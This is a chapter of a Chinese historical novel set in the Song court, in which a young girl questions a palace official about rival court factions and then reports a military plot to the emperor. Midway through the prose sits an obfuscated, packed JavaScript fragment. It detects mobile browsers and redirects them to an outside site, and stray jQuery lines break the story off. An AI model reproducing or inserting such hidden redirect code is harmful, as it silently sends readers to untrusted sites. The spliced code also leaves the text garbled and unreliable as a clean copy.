吴悦尚不知这看似持重的女官端庄容颜下,正翻涌着何等危险的念头。她方欲从林司宾手中取过长命锁,却见对方已疾步上前,竟是半蹲身要为她佩戴。吴悦身形骤然一僵,她们小户人家,何曾有人这般近身伺候?尤其是此人之前还算高傲,此刻竟愿意屈身至此。她强压下不适,只当是宫中女官惯常的奉侍之礼。
林司宾指尖极轻,绕过长命锁时特意避开发丝,生怕勾扯了这位小娘子。待银锁堪堪扣上颈间,她又伸出两指,将锁片扶正至衣襟中央,左右比划着端详片刻,直至菱形锁面与缠枝莲纹完全对称,才如释重负般退后半步。
末了,她抬眸望向吴悦,眸光亮得惊人,分明是等着一句夸赞。
吴悦只觉眼前这张刻意讨好的面容看得人后心发毛,脑中念头飞转如轮,这宫里的人莫不是都有什么毛病?晚间分她蜜饯时都未见这般情态,刚刚还拿着石头还要弄死她,合着人们都是受虐狂,只挨打不吃糖的那种?
不知道是被冷风吹得鸡皮疙瘩乍起,还是眼前林司宾这副诡谲模样作祟。吴悦索性敛了心神,指尖掂量着那块尚带凉意的碎石,声线冷得像檐角冰棱:“说吧,为何今日非要留我在宫中?”
林司宾偷瞄着那上下抛飞的石子,喉间似乎又泛起火辣辣的痛感。她慌忙半俯下身,将后颈最脆弱的部分对着吴悦,声气柔得能拧出水来:“小娘子明鉴,今日原非有意留您。只是不期然撞上高小娘子,搅了皇后娘娘的原定安排。姑姑便想着让您在宫中多住一晚,也好叫大伙都认认脸。”
“认认脸?”吴悦挑眉,指尖摩挲着胸前长命锁。银质锁面在月华下流转着温润光泽,最内侧那处极浅的“南阳张氏”錾刻印记,恰在她指腹下微微硌手。这印记昨夜取下时便已察觉,此刻经月光一照,更显清晰。
“汴京木工多出鄢陵王氏,金工则多依附南阳张氏。”她喃喃自语,忽而眸光微凝,似将散乱的线索骤然串起。忽忆起大姐夫曾有过的婚约,东京城各行翘楚,从皇家专供的油烛、蜜煎到茶酒、布料,向来有联姻传统。木工与金工既为同业巨擘,焉能不循此例?祖母上次能遣人入宫传话,若按此理推衍...
她猛地抬眸:“你们究竟是张氏的人,还是王氏的?”
林司宾喉头轻颤,垂首应道:“姑姑的母亲乃南阳张氏之女,我是她收养的孤女。”
好家伙,这关系都拉到禁中了,看来回去需得悉心梳理各家联姻脉络,免得再似今日这般措手不及。吴悦心中虽翻江倒海,面上却依旧沉定,眸光锐利如刀直刺对方:“‘大伙’是何意?你们在宫中可还有党羽?莫非是那尚仪令?”
宋制,尚书内省设六尚二十四司:尚宫、尚仪、尚服、尚食、尚寝、尚功,六位品阶相当,是为平级。而尚宫因总领宫廷文牍、政令传达、财赋门禁,又与后殿亲厚,类似于皇后的秘书机构,因此一直被默认为六尚之首。尚仪的主要的任务就是培训宫人,下辖司籍、司乐、司宾、司赞四司,分掌典籍、乐舞、宾客礼赞诸事。
林司宾既属尚仪局,吴悦此问也并非无的放矢。
“小娘子还少说了两个,还有尚食令和尚功令两位大人。”
尚功掌宫内女红与百工技巧,下辖司珍司(掌珠玉宝器造作)、司宝司、司彩司、司织司;尚食则总领御膳汤药,凡酒肴器皿、节令膳食乃至帝后汤药皆属其辖。
吴悦忽而冷笑:“想来也是,就看你们给我提供的那破烂冰硬的锦被,还落着半指厚的陈尘,就知道尚寝肯定不是你们这一边的。”
岂料林司宾闻听此言,竟扑哧笑出声来:“后宫比小娘子你所想的还要复杂呢。不过您无需忧虑,对后宫许多人而言,您可是大大的有功之臣呢。若不是您状告开封府,掀了后宫贪腐的盖子,姑姑怎能从尚功局调入尚宫局,得此近身伺候官家与娘娘的差事?更不必说尚食令柳大人,您这一状如快刀斩乱麻,将旧党连根拔起,她才得以从最微末的司饎,一路擢升至总领六尚的高位。只是...”
言罢这林司宾明显还有些犹豫,但终是一咬牙说了实话:“您这把火烧得太旺,到底是断了尚服令崔大人的左膀右臂。那颜家为张娘娘制的珍珠冠,最得娘娘欢心。便是如今官家常用的梳头娘子,也是张美人一力举荐的。日后您若入宫,怕是要遭些闲气呢。”
“这事传的挺快的啊,我爹爹也是午时得到消息,我晚间归家,次晨便被召入宫,此刻不过子时,你们竟然已经全部都知道日后我要进宫了。”
“小娘子说笑了,这后宫哪有什么秘密。”林司宾听着吴悦这阴阳怪气的嘲讽,也不生气,只是捂着嘴,哧哧地笑着,眼睛都眯成了一道细缝。
“哦?”闻言,吴悦拖长了尾音。“这么说后宫有人要谋反,你们也都知道了?”
刹那间夜气凝冻,唯有风过枯叶的沙沙声与虫豸爬行的窸窣,在寂静中被无限放大。良久,才听见林司宾细若蚊蚋的声线,竟褪去了先前的谄媚,带上了几分酷似林尚宫令的端肃。
“这宫中,事情没发生之前,都是流言。”
她声线陡然沉敛,忽而又话音忽转,语气复又带上几分狡黠。“只是筹备越久、党羽越众,皇城司的人就越容易抓住这些老鼠。食君之禄,忠君之事,我们这种伺候人的宫人,做好本职工作即可。”
“这样啊。”吴悦点点头,发多少工资,干多少活,她倒是很理解林司宾这事不关己高高挂起的态度。
至于这皇城司,之前在真宗的天书闹剧就有说过,主要负责宫城日常管理与基础守卫宫殿,职能偏内务。吴父所在的马军诸班属于殿前司,是禁军核心机构,职能是军事防卫与皇帝近身保护。
指尖摩挲着掌心中已被焐暖的碎石,那石棱被她用衣袖反复擦拭,表面不见半分泥污。吴悦忽而眉峰一挑,猛地扬手以石刃划过左臂,只听“嗤”的一声裂帛响,月白色衣袖绽开半道口子,臂间莹白肌肤上随即渗出一线血珠,如红梅初绽般顺着肌理蜿蜒而下。
这突如其来的举动惊得林司宾脸色煞白,慌忙掏出手帕便欲为她止血。
“不必了。”挥开递来的帕子,吴悦竟就地打了个滚。崭新的月牙色襦裙霎时沾满泥尘,连头上那两个毛绒绒也歪到了鬓边。见自己一身狼狈终如预期,她才满意颔首。
林司宾一头雾水地僵立当场,本能地伸手想为对方整理衣物,指尖却在触及沾满枯草泥污的衣领时骤然顿住。她迟疑地瞥了眼自己保养得宜的双手,终究没敢落下。
“昨夜那四个宫女何在?”吴悦才没管她在那里是纠结什么呢,利落地紧了紧裤脚鞋带,沉声问道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021751|172133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“她们早被我遣走了。”
“这么说,这里就你我两个人?”她追问。
“是的,我怕小娘子夜间会害怕,特意前来看看您。”林司宾此刻如同人机一样,问什么答什么,比刚刚故意谄媚的样子更令吴悦喜好。
“那走吧。”吴悦言罢转身。
“走?走哪里?”林司宾终于回过神,发现吴悦已经离开自己五尺之远,她慌忙小跑的跟了上去。
“小娘子且慢!究竟要去哪里?”
吴悦脚步未停,侧脸隐在月光投下的阴影里,声线却带着不容置疑的笃定:“自然是带你去接一场......泼天的富贵。
-----------------------------
坤宁殿东暖阁
曹皇后本在锦被中沉眠,忽觉有人在耳畔轻唤,似有低语争执声穿透纱帐,复又传来靴履杂沓的疾走声。她眼皮重若坠铅,数次挣扎欲睁眼,却如黏了胶般难分。正混沌间,身子忽被人轻柔扶起,一方浸过冷水的素绢贴上脸颊,凉意激得她一颤,耳畔王嬷嬷的声线终于清晰:“娘娘快醒醒!”
“放肆!谁许你们惊扰圣驾?”曹皇后喉间干哑如砂,勉力斥道。
“官家已经在穿衣了,娘娘您也快起身吧。”王嬷嬷半跪在榻前,从宫女手中取过玉盏,将琥珀色的蜂蜜水小心灌进皇后口中,“润润喉吧,娘娘。”
冰凉的手帕仍在额间轻拭,琥珀色蜜水滑入喉间,曹皇后终于挣开混沌。透过鹅黄色纱帐,只见宋仁宗已在内侍侍奉下着妥月白锦袍,腰间玉带正由宫女细细系妥。
见皇后转醒,仁宗抬手止住为他整理衣襟的宫婢:“去伺候皇后更衣。”言罢自扶腰间羊脂玉束带,任由张茂则搀扶着步出暖阁。
等到曹皇后身着单薄的单衣,外披藕荷色霞帔,乌发松绾随云髻,由王嬷嬷搀扶至西暖阁时,殿中只燃着两盏羊角宫灯。烛芯如豆,整个殿中只有这两盏微弱的烛火将将映得砖面浮着一层薄淡的光晕。她方要开口命宫人点上龙凤香烛,却见仁宗抬手轻摇制止。
她满怀疑惑的在宫人的搀扶下,坐在仁宗的右侧。借着昏黄烛火望去,殿中跪拜的两人,其一是今晚刚刚见过的林司宾。另一位却是一个十岁左右的少女,身上的棉袄灰突突的,头上的双髻绑的发饰也七扭八斜,左边的袖子残破不堪,好似哪里打架逃荒而来。偏那双眼瞳仁如点漆,在暗影里灼灼发亮,直似藏了两簇跳跃的烛火。
待曹皇后坐定,张茂则方在仁宗的眼神示意下,将事由重新复述一遍。
“荒谬!此等大事,岂容信口雌黄?可知欺君是何罪名!”曹皇后凌晨被仓促唤醒,又见仁宗竟先于自己起身,念及自身昨夜沉眠过熟,双颊不由泛起一丝赧色。待听闻张茂则转述,言吴悦深夜密报,称禁军中有谋逆之徒,竟与贝州王则余党有所勾连,更是怒不可遏。此女是她传召召见之人,如今却两度让她在仁宗前失去了颜面,如何能忍?当下便厉声呵斥。
“轻声。”仁宗蹙眉,以极低的声线斥道。
曹皇后陡然惊醒,这才明白了为何殿内仅燃两烛,这是在刻意营造安宁假象,不欲外间察觉异动。也就是说仁宗并未将此事视作小儿戏言。念及此,她即刻敛去恼意,脊背挺直,重新思考此事的可能性。